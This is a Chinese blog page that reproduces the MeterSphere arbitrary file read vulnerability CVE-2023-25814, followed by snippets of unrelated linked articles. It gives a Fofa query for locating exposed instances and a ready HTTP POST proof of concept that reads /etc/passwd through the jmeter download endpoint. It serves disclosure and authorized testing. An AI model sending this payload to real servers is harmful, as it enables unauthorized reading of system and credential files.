当前位置: 首页 > news >正文

MeterSphere 任意文件读取漏洞(CVE-2023-25814)

MeterSphere 任意文件读取漏洞(CVE-2023-25814)

  • 免责声明
  • 漏洞描述
  • 漏洞影响
  • 漏洞危害
  • 网络测绘
    • Fofa: title="MeterSphere"
  • 漏洞复现
    • 1. 构造poc
    • 2. 发送数据包
    • 3. 查看文件

免责声明

仅用于技术交流,目的是向相关安全人员展示漏洞利用方式,以便更好地提高网络安全意识和技术水平。
任何人不得利用该文章进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为,责任自负。
该文章仅用于授权测试,任何未经授权的测试均属于非法行为。请在法律许可范围内使用。
作者对使用该文章导致的任何直接或间接损失不承担任何责任。使用此文章的风险由使用者自行承担。

漏洞描述

MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、UI 测试和性能测试等功能,全面兼容 JMeter、Selenium 等主流开源标准。MeterSphere存在未授权任意文件读取漏洞。

漏洞影响

MeterSphere

漏洞危害

未经允许的攻击者可通过该漏洞读取服务器配置信息,敏感文件等。

网络测绘

Fofa: title=“MeterSphere”

在这里插入图片描述
在这里插入图片描述

漏洞复现

1. 构造poc

POST /api/jmeter/download/files HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip
Connection: close
Content-Type: application/json
Content-Length: 0{"reportId":"pass","bodyFiles":[{"id":"aaa","name":"/etc/passwd"}]}

2. 发送数据包

在这里插入图片描述
发送后会自动下载一个压缩包,里面的内容就是我们读取的文件内容

在这里插入图片描述

3. 查看文件

在这里插入图片描述

相关文章:

MeterSphere 任意文件读取漏洞(CVE-2023-25814)

MeterSphere 任意文件读取漏洞(CVE-2023-25814) 免责声明漏洞描述漏洞影响漏洞危害网络测绘Fofa: title"MeterSphere" 漏洞复现1. 构造poc2. 发送数据包3. 查看文件 免责声明 仅用于技术交流,目的是向相关安全人员展示漏洞利用方式,以便更好地…...

设计模式-01-单例设计模式

经典的设计模式有23种,但是常用的设计模式一般情况下不会到一半,我们就针对一些常用的设计模式进行一些详细的讲解和分析,方便大家更加容易理解和使用设计模式。 1-为什么要使用单例 单例设计模式(Singleton Design Pattern&…...

霍尔电流传感器如何进行可靠性测试?主要应用在哪些领域?

霍尔电流传感器广泛应用于航空航天、电源监测、飞行器状态监测、变速驱动设备、焊接设备供电电源、新能源汽车蓄电池管理系统等领域,在电流检测领域中有着重要地位和实用价值,在电驱系统中被称为新能源汽车的动力“心脏”。因此,霍尔电流传感…...

pandas按行按列遍历Dataframe的三种方式

遍历数据有以下三种方法: 简单对上面三种方法进行说明: iterrows(): 按行遍历,将DataFrame的每一行迭代为(index, Series)对,可以通过row[name]对元素进行访问。 itertuples(): 按行遍历,将DataFrame的每一行迭代为元…...

Api接口如何防止被刷?

现在越来越多的应用程序和服务都提供了API接口,使得开发人员可以方便地与这些应用程序和服务进行交互。但是,由于API接口是公开的,因此很容易被黑客利用,对系统造成损害。为了确保API接口的安全性,我们需要采取一些措施…...

Django——orm模块创建表关系

django orm中如何创建表关系 1. 表关系分析 表与表之间的关系: 一对多 多对多 一对一 没有关系 判断表关系的方法: 换位思考用4张表举例: 图书表 出版社表 作者表 作者详情表图书和出版社是一对多的关系 外键字段建在多的那一方图书和作者是多对多的关系 需要创建第三张表来…...

Django知识点

目录 一、三板斧的使用 二、全局配置文件 三、静态文件的设置 四、request对象的方法 五、pycharm链接数据库 六、Django链接数据库 七、orm介绍 一、三板斧的使用 三个方法: HttpResponse renderredirect def index(request):print(request)return HttpR…...

基于单片机设计的智能风扇(红外线无线控制开关调速定时)

一、项目介绍 在炎热的夏季,风扇成为人们室内生活中必不可少的电器产品。然而,传统的风扇控制方式存在一些不便之处,比如需要手动操作开关、无法远程控制和调速,以及缺乏定时功能等。为了解决这些问题,设计了一款基于…...

k8s报错pause 3.2 解决方案

报错 Failed to create pod sandbox: rpc error: code Unknown desc failed to get sandbox image "k8s.gcr.io/pause:3.2": failed to pull image "k8s.gcr.io/pause:3.2": failed to pull and unpack image "k8s.gcr.io/pause:3.2": failed…...

基于遗传算法的电器分类,基于GA的电器分类

目录 背影 遗传算法的原理及步骤 基本定义 编码方式 适应度函数 运算过程 代码 结果分析 展望 完整代码下载链接:基于遗传算法的电器识别,基于遗传算法的电器分类(代码完整,数据齐全)资源-CSDN文库 https://download.csdn.net/download/abc991835105/88506649 背影 电器…...

某XX自考小程序的AES加密分析

前言 主要是报了自考在这个小程序上面做题,就研究了一下这个接口本文仅供学习交流使用,请勿随意传播。如有侵犯你的权益及时联系我删除。 一、抓包分析打开小程序,打开devtools 工具,这里就不啰嗦,直接上过程。 点击…...

加密算法笔记

MD5: 目前相对容易破解,且容易发生碰撞; 不可逆(但是网络上有很多破解方法) SHA256: 不会碰撞; 可以加盐,也可以不加盐; 不可逆; HmacSHA256在线加密-HmacMD5加密-散列哈希HASH加密工具 相同点 1、都是密码散列函数,加密不可逆。 2、都可…...

Sa-Token拦截全部接口必须登录-然后自定义注解来匿名登录-作为权限框架支持,并且同时使用了注解和路由的拦截器模式,此部分的配置如下:

场景 在博主目前正在开发的项目中&#xff0c;就采用了Sa-Token作为权限框架支持&#xff0c;并且同时使用了注解和路由的拦截器模式&#xff0c;此部分的配置如下&#xff1a; Override public void addInterceptors(InterceptorRegistry registry) { List<String> n…...

公司企业端口映射

文章目录 前言如何进行内网映射打开路由器管理网址设置端口映射 前言 公司为了提供稳定的网络服务&#xff0c;需要拥有一个稳定的IPV4的网络地址&#xff0c;一般公司有点规模的&#xff0c;会去电信局里面拉一根专门的网线&#xff0c;获取稳定的全球IPV4地址。 一个IPV4地…...

gitlab安装和使用

gitlab安装和使用 1.下载必要的依赖 sudo yum install curl openssh-server openssh-clients postfix cronie #需要执行sudo service postfix start #配置邮箱的sudo chkconfig postfix on #配置邮箱的#这句是用来做防火墙的&#xff0c;避免用户通过ssh方式和http来访问。su…...

【论文阅读】DALL·E: Zero-Shot Text-to-Image Generation

OpenAI第一代文本生成图片模型 paper&#xff1a;https://arxiv.org/abs/2102.12092 DALLE有120亿参数&#xff0c;基于自回归transformer&#xff0c;在2.5亿 图片-文本对上训练的。实现了高质量可控的text to image&#xff0c;同时也有zero-shot的能力。 DALL-E没有使用扩…...

说一下 toRef、toRefs,以及他们的区别

toRef&#xff1a;创建一个新的Ref变量&#xff0c;转换Reactive对象的某个字段为Ref变量 toRefs&#xff1a;创建一个新的对象&#xff0c;它的每个字段都是Reactive对象各个字段的Ref变量 说一下toRef 先定义一个reactive对象 interface Member {id: numbername: string } c…...

修改Android Studio默认的gradle目录

今天看了一下&#xff0c;gradle在C盘占用了40多G。我C盘是做GHOST的&#xff0c;放在这里不方便。所以就要修改。 新建目录名&#xff08;似乎无必要&#xff09; ANDROID_SDK_HOMEG:\SOFTWARES\android-sdk GRADLE_USER_HOMEG:\SOFTWARES\.gradle 修改目录 File->Setti…...

鲁大师电动车智能化测评报告第二十三期:实测续航95km,九号Q90兼顾个性与实用

鲁大师第二十三期智能化电动车测评排行榜数据来源于鲁大师智慧实验室,测评的车型均为市面上主流品牌的主流车型。截止目前,鲁大师智能化电动车测评的车型高达130余台,且还在不断增加和丰富中。 一、测评依据 鲁大师电动车智能化测评体系包含车辆的状态采集与管理硬件系统、车辆…...

初始化项目骨架(Web3项目一实战之一)

暌违将近一年的时光,也该是时候来几个项目实践。要不,当再次翻看 玩以太坊链上项目的必备技能(…solidity之旅X) ,却未曾见有关于 Web3 项目的实战博文,不免让人唏嘘! 其实,在我敲下玩以太坊链上项目的必备技能这些文字时,心中早有了势必要弄出一个Web3的项目(当然,通…...

如何用 Go-retryablehttp 实现指数退避算法:网络重试的最佳实践

如何用 Go-retryablehttp 实现指数退避算法&#xff1a;网络重试的最佳实践 【免费下载链接】go-retryablehttp Retryable HTTP client in Go 项目地址: https://gitcode.com/gh_mirrors/go/go-retryablehttp 在网络请求中&#xff0c;暂时性故障如服务器过载或网络波动…...

单片机数码管显示字母b?手把手教你用Keil5和Proteus搞懂0x7C和0x83的秘密

从0x7C到0x83&#xff1a;单片机数码管显示字母b的完整实践指南 当你第一次在单片机代码中看到P00x7C这样的语句时&#xff0c;是否感到一头雾水&#xff1f;这个看似随意的十六进制数字&#xff0c;实际上隐藏着数码管显示字母"b"的全部秘密。本文将带你从零开始&am…...

如何3步突破百度网盘限速:Python直链解析工具完整实战指南

如何3步突破百度网盘限速&#xff1a;Python直链解析工具完整实战指南 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘的龟速下载而烦恼吗&#xff1f;今天我要…...

IDE Eval Resetter:JetBrains试用期无限重置终极指南

IDE Eval Resetter&#xff1a;JetBrains试用期无限重置终极指南 【免费下载链接】ide-eval-resetter 项目地址: https://gitcode.com/gh_mirrors/id/ide-eval-resetter 还在为JetBrains IDE试用期到期而烦恼吗&#xff1f;想象一下这个场景&#xff1a;你正在专注编码…...

AzurLaneAutoScript:深度解析碧蓝航线智能管理系统的技术架构与实战应用

AzurLaneAutoScript&#xff1a;深度解析碧蓝航线智能管理系统的技术架构与实战应用 【免费下载链接】AzurLaneAutoScript Azur Lane bot (CN/EN/JP/TW) 碧蓝航线脚本 | 无缝委托科研&#xff0c;全自动大世界 项目地址: https://gitcode.com/gh_mirrors/az/AzurLaneAutoScri…...

倍莱鲜羊奶粉新零售系统方案 - 私域邦网络

市场分析与定位通过调研羊奶粉市场趋势&#xff0c;明确目标消费群体为中高端家庭、母婴群体及健康饮食追求者。分析竞品线上线下的销售模式&#xff0c;结合倍莱鲜品牌优势&#xff0c;制定差异化策略。系统架构设计采用微服务架构确保系统可扩展性&#xff0c;前端使用React/…...

Beelink SER5迷你主机评测:性能与扩展性解析

1. 硬件开箱与配置解析 Beelink SER5作为一款搭载AMD Ryzen 5 5600H处理器的迷你主机&#xff0c;其硬件配置在同类产品中颇具竞争力。整机尺寸仅为12611342mm&#xff08;4.964.451.65英寸&#xff09;&#xff0c;采用金属外壳设计&#xff0c;既保证了散热性能又兼顾了美观度…...

LIME模型可解释性:原理、实战与优化技巧

1. 理解模型可解释性的重要性 在机器学习项目实践中&#xff0c;我们常常会遇到一个困境&#xff1a;模型预测效果很好&#xff0c;但完全不知道它为什么做出这样的决策。三年前我接手一个医疗诊断项目时&#xff0c;随机森林模型在测试集上达到了94%的准确率&#xff0c;但当医…...

手把手教你用Conda安装Python的dcor包,并计算距离相关系数(避坑指南)

从零开始&#xff1a;用Conda轻松安装dcor包并计算距离相关系数 在数据科学和统计分析中&#xff0c;我们经常需要衡量变量之间的相关性。传统的皮尔逊相关系数虽然广为人知&#xff0c;但它只能捕捉线性关系&#xff0c;对于非线性关系的识别就显得力不从心。这时候&#xff0…...

AI模型加载慢、首请求延迟高、GPU显存泄漏频发,.NET 11推理性能瓶颈全排查,12个必检配置项清单已验证

第一章&#xff1a;AI模型推理性能瓶颈的典型现象与诊断方法在实际部署大语言模型或视觉模型时&#xff0c;开发者常观察到吞吐量骤降、首token延迟飙升、GPU利用率长期低于30%等反直觉现象。这些并非硬件故障&#xff0c;而是由计算、内存、通信三类资源失配引发的典型推理瓶颈…...